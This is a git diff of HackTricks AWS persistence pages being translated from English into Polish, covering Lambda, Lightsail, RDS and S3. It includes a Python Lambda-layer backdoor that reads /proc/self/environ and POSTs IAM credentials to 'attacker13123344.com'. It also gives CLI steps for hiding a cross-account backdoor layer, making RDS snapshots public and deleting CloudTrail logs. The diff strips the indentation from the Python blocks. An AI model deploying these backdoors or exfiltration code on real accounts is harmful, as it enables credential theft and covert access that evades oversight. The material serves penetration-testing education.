-> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Grant może przyznać uprawnienia tylko z tego: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 1390c2d55..d51aeddf2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -4,7 +4,7 @@
## Lambda
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ For more information check:
### Lambda Layer Persistence
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+Możliwe jest **wprowadzenie/tylnych drzwi do warstwy, aby wykonać dowolny kod** podczas wykonywania lambdy w sposób ukryty:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Wykorzystując warstwy Lambda, możliwe jest również nadużywanie rozszerzeń i utrzymywanie się w lambdzie, a także kradzież i modyfikacja żądań.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md
### Via resource policies
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+Możliwe jest przyznanie dostępu do różnych akcji lambdy (takich jak wywołanie lub aktualizacja kodu) zewnętrznym kontom:
### Versions, Aliases & Weights
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\
+Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej z nich.\
+W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 tylko z legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
### Version Backdoor + API Gateway
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
- 1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
- 1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
- 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. Skopiuj oryginalny kod Lambdy
+2. **Utwórz nową wersję z tylnymi drzwiami** oryginalnego kodu (lub tylko z złośliwym kodem). Opublikuj i **wdroż tę wersję** do $LATEST
+1. Wywołaj bramę API związaną z lambdą, aby wykonać kod
+3. **Utwórz nową wersję z oryginalnym kodem**, opublikuj i wdroż tę **wersję** do $LATEST.
+1. To ukryje kod z tylnymi drzwiami w poprzedniej wersji
+4. Przejdź do API Gateway i **utwórz nową metodę POST** (lub wybierz inną metodę), która wykona wersję lambdy z tylnymi drzwiami: `arn:aws:lambda:us-east-1::function::1`
+1. Zauważ końcowe :1 w arn **wskazujące wersję funkcji** (wersja 1 będzie wersją z tylnymi drzwiami w tym scenariuszu).
+5. Wybierz utworzoną metodę POST i w Akcjach wybierz **`Deploy API`**
+6. Teraz, gdy **wywołasz funkcję za pomocą POST, twoje Tylne Drzwi** zostaną wywołane
### Cron/Event actuator
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+Fakt, że możesz sprawić, aby **funkcje lambda działały, gdy coś się wydarzy lub gdy upłynie czas**, sprawia, że lambda jest miłym i powszechnym sposobem na uzyskanie trwałości i unikanie wykrycia.\
+Oto kilka pomysłów, aby uczynić swoją **obecność w AWS bardziej ukrytą, tworząc lambdy**.
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Za każdym razem, gdy tworzony jest nowy użytkownik, lambda generuje nowy klucz użytkownika i wysyła go do atakującego.
+- Za każdym razem, gdy tworzona jest nowa rola, lambda przyznaje uprawnienia do przyjęcia roli skompromitowanym użytkownikom.
+- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmień je
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 71655ada0..b53895013 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,46 +1,42 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Wykorzystywanie rozszerzeń Lambda
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Rozszerzenia Lambda
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Rozszerzenia Lambda wzbogacają funkcje, integrując się z różnymi **narzędziami do monitorowania, obserwowalności, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub włączane w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**.
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **Wewnętrzne rozszerzenia** łączą się z procesem uruchomieniowym, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych środowisk uruchomieniowych, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**.
+- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność operacyjną z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi środowiskami uruchomieniowymi**.
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+Aby uzyskać więcej informacji o [**tym, jak działają rozszerzenia lambda, sprawdź dokumentację**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### Zewnętrzne rozszerzenie do utrzymywania, kradzieży żądań i modyfikacji żądań
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+To jest podsumowanie techniki zaproponowanej w tym poście: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+Stwierdzono, że domyślny kernel Linux w środowisku uruchomieniowym Lambda jest skompilowany z wywołaniami systemowymi “**process_vm_readv**” i “**process_vm_writev**”. A wszystkie procesy działają z tym samym identyfikatorem użytkownika, nawet nowy proces utworzony dla zewnętrznego rozszerzenia. **Oznacza to, że zewnętrzne rozszerzenie ma pełny dostęp do odczytu i zapisu pamięci sterty Rapid, zgodnie z założeniem.**
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+Ponadto, podczas gdy rozszerzenia Lambda mają możliwość **subskrybowania zdarzeń wywołania**, AWS nie ujawnia surowych danych tym rozszerzeniom. Zapewnia to, że **rozszerzenia nie mogą uzyskać dostępu do wrażliwych informacji** przesyłanych za pośrednictwem żądania HTTP.
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+Proces Init (Rapid) monitoruje wszystkie żądania API pod adresem [http://127.0.0.1:9001](http://127.0.0.1:9001/), podczas gdy rozszerzenia Lambda są inicjowane i uruchamiane przed wykonaniem jakiegokolwiek kodu uruchomieniowego, ale po Rapid.
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+Zmienna **`AWS_LAMBDA_RUNTIME_API`** wskazuje **adres IP** i **numer portu** API Rapid dla **procesów uruchomieniowych podrzędnych** i dodatkowych rozszerzeń.
> [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> Zmieniając zmienną środowiskową **`AWS_LAMBDA_RUNTIME_API`** na **`port`**, do którego mamy dostęp, możliwe jest przechwycenie wszystkich działań w ramach uruchomienia Lambda (**man-in-the-middle**). Jest to możliwe, ponieważ rozszerzenie działa z tymi samymi uprawnieniami co Rapid Init, a kernel systemu pozwala na **modyfikację pamięci procesów**, co umożliwia zmianę numeru portu.
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+Ponieważ **rozszerzenia działają przed jakimkolwiek kodem uruchomieniowym**, modyfikacja zmiennej środowiskowej wpłynie na proces uruchomieniowy (np. Python, Java, Node, Ruby) w momencie jego uruchomienia. Ponadto, **rozszerzenia załadowane po** naszym, które polegają na tej zmiennej, również będą kierować przez nasze rozszerzenie. Ta konfiguracja może umożliwić złośliwemu oprogramowaniu całkowite ominięcie środków bezpieczeństwa lub rozszerzeń rejestrujących bezpośrednio w środowisku uruchomieniowym.
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+Narzędzie [**lambda-spy**](https://github.com/clearvector/lambda-spy) zostało stworzone, aby wykonać **zapis pamięci** i **ukraść wrażliwe informacje** z żądań lambda, innych **rozszerzeń** **żądań** i nawet **je modyfikować**.
-## References
+## Odniesienia
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index f8a5e2868..3abc33a6a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -4,79 +4,72 @@
## Lambda Layers
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne.
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wypakowywana do katalogu `/opt`** w środowisku wykonawczym.
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.
### Python load path
-The load path that Python will use in lambda is the following:
-
+Ścieżka ładowania, którą Python będzie używał w lambda, jest następująca:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+Sprawdź, jak **drugie** i trzecie **pozycje** są zajmowane przez katalogi, w których **lambda layers** dekompresują swoje pliki: **`/opt/python/lib/python3.9/site-packages`** i **`/opt/python`**
> [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> Jeśli atakujący zdołałby **wprowadzić backdoora** do używanej **warstwy lambda** lub **dodać jedną**, która będzie **wykonywać dowolny kod, gdy załadowana zostanie wspólna biblioteka**, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.
-Therefore, the requisites are:
+Dlatego wymagania są następujące:
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **Sprawdź biblioteki**, które są **ładowane** przez kod ofiary
+- Utwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę.
-### Preloaded libraries
+### Wstępnie załadowane biblioteki
> [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> Podczas nadużywania tej techniki napotkałem trudność: Niektóre biblioteki są **już załadowane** w czasie działania Pythona, gdy twój kod jest wykonywany. Spodziewałem się znaleźć takie rzeczy jak `os` czy `sys`, ale **nawet biblioteka `json` była załadowana**.\
+> Aby nadużyć tej techniki utrzymywania, kod musi **załadować nową bibliotekę, która nie jest załadowana**, gdy kod jest wykonywany.
+Dzięki kodowi Pythona takiemu jak ten, możliwe jest uzyskanie **listy bibliotek, które są wstępnie załadowane** w czasie działania Pythona w lambda:
```python
import sys
def lambda_handler(event, context):
- return {
- 'statusCode': 200,
- 'body': str(sys.modules.keys())
- }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+A oto **lista** (sprawdź, czy takie biblioteki jak `os` lub `json` są już dostępne)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
+I oto lista **bibliotek**, które **lambda zawiera zainstalowane domyślnie**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+### Backdooring warstwy Lambda
-### Lambda Layer Backdooring
+W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **wprowadzać backdoora do importu biblioteki `csv`**.
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+Aby to zrobić, stworzymy **katalog csv** z plikiem **`__init__.py`** w ścieżce, która jest ładowana przez lambda: **`/opt/python/lib/python3.9/site-packages`**\
+Następnie, gdy lambda zostanie wykonana i spróbuje załadować **csv**, nasz **plik `__init__.py` zostanie załadowany i wykonany**.\
+Ten plik musi:
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
-
-- Execute our payload
-- Load the original csv library
-
-We can do both with:
+- Wykonać nasz ładunek
+- Załadować oryginalną bibliotekę csv
+Możemy zrobić to obie rzeczy za pomocą:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
- url= "https://attacker13123344.com/" #Change this to your server
- req = request.Request(url, data=file.read(), method="POST")
- response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
+Następnie utwórz zip z tym kodem w ścieżce **`python/lib/python3.9/site-packages/__init__.py`** i dodaj go jako warstwę lambda.
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+Możesz znaleźć ten kod w [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### External Layers
+### Zewnętrzne warstwy
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+Zauważ, że możliwe jest użycie **warstw lambda z zewnętrznych kont**. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.\
+Zauważ również, że **maksymalna liczba warstw, które może mieć lambda, wynosi 5**.
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- - The victim **won't see external layers** used with **`aws lambda list-layers`**
+Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby:
+- Wprowadzić tylną furtkę w istniejącej warstwie użytkownika (nic nie jest zewnętrzne)
+- **Utworzyć** **warstwę** w **swoim koncie**, dać **koncie ofiary dostęp** do używania warstwy, **skonfigurować** **warstwę** w Lambdzie ofiary i **usunąć uprawnienia**.
+- **Lambda** nadal będzie mogła **używać warstwy**, a **ofiara nie** będzie miała łatwego sposobu na **pobranie kodu warstwy** (oprócz uzyskania powłoki rev wewnątrz lambdy)
+- Ofiara **nie zobaczy zewnętrznych warstw** używanych z **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
-
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 88b0d082a..c63e584ce 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,34 +4,30 @@
## Lightsail
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### Download Instance SSH keys & DB passwords
+### Pobierz klucze SSH instancji i hasła do bazy danych
-They won't be changed probably so just having them is a good option for persistence
+Prawdopodobnie nie będą zmieniane, więc ich posiadanie to dobra opcja na utrzymanie dostępu.
-### Backdoor Instances
+### Backdoor Instancji
-An attacker could get access to the instances and backdoor them:
+Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key**
-- Expose a port with port knocking with a backdoor
+- Używając tradycyjnego **rootkita** na przykład
+- Dodając nowy **publiczny klucz SSH**
+- Eksponując port z port knocking z backdoorem
-### DNS persistence
+### Utrzymanie DNS
-If domains are configured:
+Jeśli domeny są skonfigurowane:
-- Create a subdomain pointing your IP so you will have a **subdomain takeover**
-- Create **SPF** record allowing you to send **emails** from the domain
-- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+- Utwórz subdomenę wskazującą na Twój adres IP, aby uzyskać **przejęcie subdomeny**
+- Utwórz rekord **SPF**, który pozwoli Ci wysyłać **emaile** z domeny
+- Skonfiguruj **adres IP głównej domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b7a4b8f7b..b0311a420 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -4,32 +4,24 @@
## RDS
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+### Uczyń instancję publicznie dostępną: `rds:ModifyDBInstance`
+Atakujący z tym uprawnieniem może **zmodyfikować istniejącą instancję RDS, aby umożliwić publiczną dostępność**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
-
### Create an admin user inside the DB
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
+Atakujący mógłby po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych.
### Make snapshot public
-
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index f2c4ce048..9c9947e8c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -4,26 +4,22 @@
## S3
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Client-Side Encryption
+### KMS Szyfrowanie po stronie klienta
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł ponownie użyć KMS:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i deszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go użyć.
-### Using S3 ACLs
+### Używanie ACL S3
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+Chociaż zazwyczaj ACL koszyków są wyłączone, atakujący z wystarczającymi uprawnieniami mógłby je nadużyć (jeśli są włączone lub jeśli atakujący może je włączyć), aby zachować dostęp do koszyka S3.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c15f27003..3ba6c28ec 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,57 +1,51 @@
-# AWS - Secrets Manager Persistence
+# AWS - Utrzymywanie w Secrets Manager
